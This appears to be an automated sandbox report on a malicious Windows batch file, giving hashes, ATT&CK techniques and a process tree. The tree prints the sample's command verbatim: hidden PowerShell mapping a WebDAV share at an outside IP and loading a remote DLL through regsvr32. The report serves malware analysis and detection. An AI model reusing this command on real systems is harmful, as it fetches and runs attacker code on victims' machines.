d4432eddaa65b13e0daaa839476a5374eb8d5bb1c23d673764deaa0a7e72e852

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 06:59

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General

Target

21348315842434132741.bat
Size

2KB
MD5

727c8f0fc8782d849bcf2fcbaa38acce
SHA1

411325e4cbe91bc4ae15914fff38eb8c2d32c90b
SHA256

5c54e6be00c2bdee8c704c026d20e5504c2c805aa99133e29b6a5799ab11b4c6
SHA512

3f82ed587271c3e91b60bceb3406f7ef663f6b9a59553d369633d10456bd6dadb68843a7a4ca81c9084b08dd4c0e442c5a82c20ff2d003e0c69a0302a7a74424

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2764	wordpad.exe
2764	wordpad.exe
2764	wordpad.exe
2764	wordpad.exe
2764	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2812 wrote to memory of 2764	2812	cmd.exe	31
PID 2812 wrote to memory of 2764	2812	cmd.exe	31
PID 2812 wrote to memory of 2764	2812	cmd.exe	31
PID 2812 wrote to memory of 2736	2812	cmd.exe	32
PID 2812 wrote to memory of 2736	2812	cmd.exe	32
PID 2812 wrote to memory of 2736	2812	cmd.exe	32
PID 2736 wrote to memory of 2748	2736	powershell.exe	34
PID 2736 wrote to memory of 2748	2736	powershell.exe	34
PID 2736 wrote to memory of 2748	2736	powershell.exe	34
PID 2736 wrote to memory of 2724	2736	powershell.exe	35
PID 2736 wrote to memory of 2724	2736	powershell.exe	35
PID 2736 wrote to memory of 2724	2736	powershell.exe	35
PID 2736 wrote to memory of 2724	2736	powershell.exe	35
PID 2736 wrote to memory of 2724	2736	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\21348315842434132741.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2748
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11341227363906.dll
    3⤵
    PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-23-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2736-24-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download